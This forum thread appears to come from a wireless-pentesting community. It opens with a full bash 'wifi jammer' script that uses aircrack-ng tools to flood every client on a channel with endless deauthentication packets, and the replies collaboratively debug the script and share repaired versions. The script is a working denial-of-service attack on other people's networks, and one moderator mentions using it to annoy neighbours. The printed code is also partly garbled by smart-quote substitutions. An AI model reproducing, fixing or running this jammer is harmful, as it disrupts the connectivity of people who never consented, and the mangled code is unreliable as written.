Jam WiFi

Discussion in 'Scripts & Commands' started by cryptoknight, 7 Sep 2013.

  1. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    Code:
    Select All
    #!/bin/bash # This is a bash based wifi jammer. It uses your wifi card # to continuously send de-authenticate packets to every client # on a specified channel… at lest thats what its suppose to do. # This program needs the Aircrack-ng suit to function # – and a wifi card that works with aircrack. # Checks if this file is being ran as root. if [ x"`which id 2> /dev/null`" != "x" ] then USERID=”`id -u 2> /dev/null`” fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then #Guess not echo Run it as root ; exit ; fi # Changes working directory to the same as this file DIR=”$( cd “$( dirname “$0? )” && pwd )” cd $DIR # Sets first command line VAR WIFIVAR=”$1? #Checks if user specified a WIFI card if [ x"$WIFIVAR" = x"" ] then echo “No wifi card specified, scanning for available cards (doesnt always work)” USWC=”no” else echo “Using user specified wifi card “”$WIFIVAR” USWC=”yes” fi if [ x"$USWC" = x"no" ] then # Uses Airmon-ng to scan for available wifi cards. airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01 count=0 if [ -e "clist" ]; then rm clist fi cat clist01 |while read LINE ; do if [ $count -gt 3 ];then echo “$LINE” | cut -b 1-7 | tr -d [:space:] >>clist count=$((count+1)) else count=$((count+1)) fi done rm clist01 WIFI=`cat clist` echo “Using first available Wifi card: `airmon-ng|grep “$WIFI”`” echo “If you would like to specify your own card please do so at the command line” echo “etc: sudo ./wifijammer_0.1 eth0? rm clist else WIFI=”$WIFIVAR” fi #Check for a wifi card if [ x"$WIFI" = x"" ]; then #Guess no wifi card was detected echo “No wifi card detected. Quitting” exit fi #Start the wireless interface in monitor mode if [ x"$airmoncard" != x"1" ]; then airmon-ng start $WIFI >tempairmonoutput airmoncard=”1? fi #Looks for wifi card thats been set in Monitor mode if [ x"$testcommandvar02" = x"" ];then WIFI02=`cat tempairmonoutput|grep “monitor mode enabled on” |cut -b 30-40 | tr -d [:space:] |tr -d “)”` if [ x$WIFI02 = x ];then WIFI02=`cat tempairmonoutput|grep “monitor mode enabled” |cut -b 1-5 | tr -d [:space:]` fi WIFI=”$WIFI02? rm tempairmonoutput fi echo “$WIFI” # Asks user to specify a channel to jam, or to see a 40 second scan of the area read -p “Please specify a channel to jam, or type in ‘scan’ (without quotes) to see airodump’s output for 40 seconds:” NUMBER # If something was entered that was not “scan” then assume its a number and continue if [ x"$NUMBER" != x"scan" ];then CHANNEL=”$NUMBER” else # scan was entered, so start airodump-ng in channel hopping mode to scan the area airodump-ng $WIFI & SCANPID=$! sleep 40s kill $SCANPID sleep 1s # Asks user to specify a channel read -p “Please specify a channel to jam:” NUMBER CHANNEL=”$NUMBER” fi # Launches airodump-ng on specified channel to start gathering a client list rm *.csv xterm -fn fixed -geom -0-0 -title “Scanning specified channel” -e “airodump-ng -c $NUMBER -w airodumpoutput $WIFI” 2>/dev/null & # Removes temp files that are no longer needed rm *.cap 2>/dev/null rm *.kismet.csv 2>/dev/null rm *.netxml 2>/dev/null # Makes a folder that will be needed later mkdir stationlist 2>/dev/null rm stationlist/*.txt # Start a loop so new clients can be added to the jamming list while [ x1 ];do sleep 5s # Takes appart the list of clients and reorganizes it in to something useful cat airodumpoutput*.csv|while read LINE01 ; do echo “$LINE01? > tempLINE01 LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]` rm tempLINE01 # Ignores any blank if [ x"$LINE" != x"" ];then if [ x"$LINE" = x"StationMAC" ];then start=”no” fi if [ x"$start" = x"yes" ];then if [ -e stationlist/"$LINE".txt ];then echo “” 2>/dev/null else # Lauches new window with de-authenticate thingy doing it’s thing xterm -fn fixed -geom -0-0 -title “Jamming $LINE” -e “aireplay-ng –deauth 0 -a $LINE $WIFI” & echo “$LINE” > stationlist/$LINE.txt fi fi if [ x"$LINE" = x"BSSID" ];then start=”yes” fi fi done done



    I found this online, & I know it has some problems, but maybe we all could fix it up? I'm trying to get it working.
    So far it says
    jamwifi.sh: line 29: syntax error: unexpected "(" (expecting "then")

    Any ideas?
     
  2. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    Do you have the original script that you got this code from or is this all you have?

    ~Aby$m.
     
  3. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
  4. Fantasma

    Fantasma Well-Known Member

    Joined:
    31 May 2012
    Messages:
    740
    Likes Received:
    434
    Trophy Points:
    291
    I found a little char error
    try this and comment results...
     

    Attached Files:

    • jamwifi-fixed.sh
      File size:
      4 KB
      Views:
      48
      MD5:
      f22493ec46c26af530aa755007529835
  5. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    Ok the 0.2 version seems even worse off. :(
    Do you think the code that I posted from 0.1 can be made workable?
     
  6. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    Sure with time and effort, but I really cant be stuffed working on it right now.
     
    • Like Like x 1
  7. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    Cool! Thank you. Ok I tried it out and it just would print : Run it as root
    whether sudo or not, so I think I'll comment out that whole bit and try it again.
    --- Double Post Merged, 7 Sep 2013 ---
    Hmm.. still no go

    This part is screwing it up though

    21: # Changes working directory to the same as this file
    22: DIR=”$( cd “$( dirname “$0? )” && pwd )”
    23: cd $DIR

    jam_wifi.sh: cd: line 22: can't cd to
    jam_wifi.sh: cd: line 22: can't cd to
    jam_wifi.sh: line 1: syntax error: unterminated quoted string

    I'm not great at this, but it would be cool to have this script work.
    Basically I think that it "works" by sending Disassociate Packets to all MAC addresses.
     
    #7 cryptoknight, 7 Sep 2013
    Last edited: 7 Sep 2013
  8. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    Alright, I'll do my best to clean the script up and get it working.
     
    • Like Like x 1
  9. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
  10. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    Alright I got it working however the options are limited, make sure that your WiFi interface is up before selecting 1 then after interface selected press 2.

    I forgot to mention, don't run it in a directory where you have saved .cap files, run it from a new directory because the script deletes all .cap files.
     

    Attached Files:

    • Like Like x 2
  11. meknb

    meknb Mod
    Moderator Dev Team VIP

    Joined:
    2 Jun 2012
    Messages:
    702
    Likes Received:
    144
    Trophy Points:
    161
    Just had to change read write permissions worked straight away for me version 02.
     
  12. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    In Xiaopan? chmod +x ?
    --- Double Post Merged, 8 Sep 2013 ---
    Thanks I will give it a try now-

    Ok cool the script runs and Option 1 works, it finds my WiFi and sets it, Option 2 to begin jamming process, I pressed 2, then it asked what channel so I try # 6 , but it just went back to the "select 1, 2, 3" menu, so no go, or is it doing it's thing in the background still? Thank you for working on this
     
    #12 cryptoknight, 8 Sep 2013
    Last edited: 8 Sep 2013
  13. meknb

    meknb Mod
    Moderator Dev Team VIP

    Joined:
    2 Jun 2012
    Messages:
    702
    Likes Received:
    144
    Trophy Points:
    161
    Yes in xiaopan i'll check what i set it at next time i use xiaopan. Pretty sure i changed the group and user made it executable changed read and write. If your have problems with chmod commands just use xfe and click on file properties.
     
  14. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    Yeah, the script is a-bit primitive at-the-moment it runs in the background, you can see the wifi adapter flashing and heating up when you use option 2.
    If you want I can make it look more friendly?

    ~Aby$m.
     
  15. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    Hi Aby$m, thank you for cleaning it up. It is pretty user - friendly right now, the scan function where you can see what SSIDs are using which channels in other versions was nice. I checked out your version of the script and I'm sorry to say that after picking wlan0 and option 2, channel 11 for example it goes back to asking me what channel again, but my wifi isn't doing anything in the background. In the script I see it's trying to run the aircrack-ng's commands in xterm, should these be opening in new terminal windows? Otherwise so far my LED light on the front of my 2W alfa does not blink rapidly when "jamming", and I don't see any traffic on another computer running monitoring, so maybe I have to fix something. I am using the Xiaopan 0.4.7+ for this. Are there any logs that I can post to help diagnose this?
     
  16. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    I was using the non-BASH environment of SliTaz Shell.

    like the old proverb says "if it ain't broke, don't fix it".

    It's probably best just to stick with the original BASH version of the script.

    ~Aby$m.
     
  17. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    Oh, is the problem that it would not work in Xiaopan? (Tiny Core)
    Does it work in your Xiaopan Slitaz v2?
     
  18. Aby$m

    Aby$m Well-Known Member
    Dev Team VIP

    Joined:
    25 Oct 2012
    Messages:
    153
    Likes Received:
    124
    Trophy Points:
    221
    I did not test it in Xiaopan OS.

    Indeed however, since I did not do much to the code (couldn't be stuffed) it looks very basic, If I can be stuffed to make it look better I'll do it.

    I have other projects that I much prefer to be working on at-the-moment.

    ~Aby$m.
     
  19. cryptoknight

    cryptoknight Well-Known Member

    Joined:
    28 Aug 2012
    Messages:
    53
    Likes Received:
    10
    Trophy Points:
    48
    I'll try it out in Xiaopan Slitaz v2, thanks.
    --- Double Post Merged, 11 Sep 2013 ---
    meknb : Have you checked this out with Aby$m's new script in Xiaopan?
     
    #19 cryptoknight, 11 Sep 2013
    Last edited: 11 Sep 2013
  20. meknb

    meknb Mod
    Moderator Dev Team VIP

    Joined:
    2 Jun 2012
    Messages:
    702
    Likes Received:
    144
    Trophy Points:
    161
    No i haven't, not a script i'd use really except to p*ss off my neighbours but i'll have a look when i get chance.
     
Loading...
  • About Us

    We are a community mixed with professionals and beginners with an interest in wireless security, auditing and pentesting. Feel free to check out and upload resources.


    You can also find us on: Twitter and Facebook

  • Donate to Us

    Did you find our forums useful? Feel free to donate Bitcoin to us using the form below. Those who donate the equivlent of $10 USD or more will be upgraded to VIP membership. Don't have Bitcoin? Use your credit card to GO VIP here. Don't want to fork out some coin? There are other ways to GO VIP. Bitcoin: 1LMTGSoTyJWXuy2mQkHfgMzD7ez74x1Z8K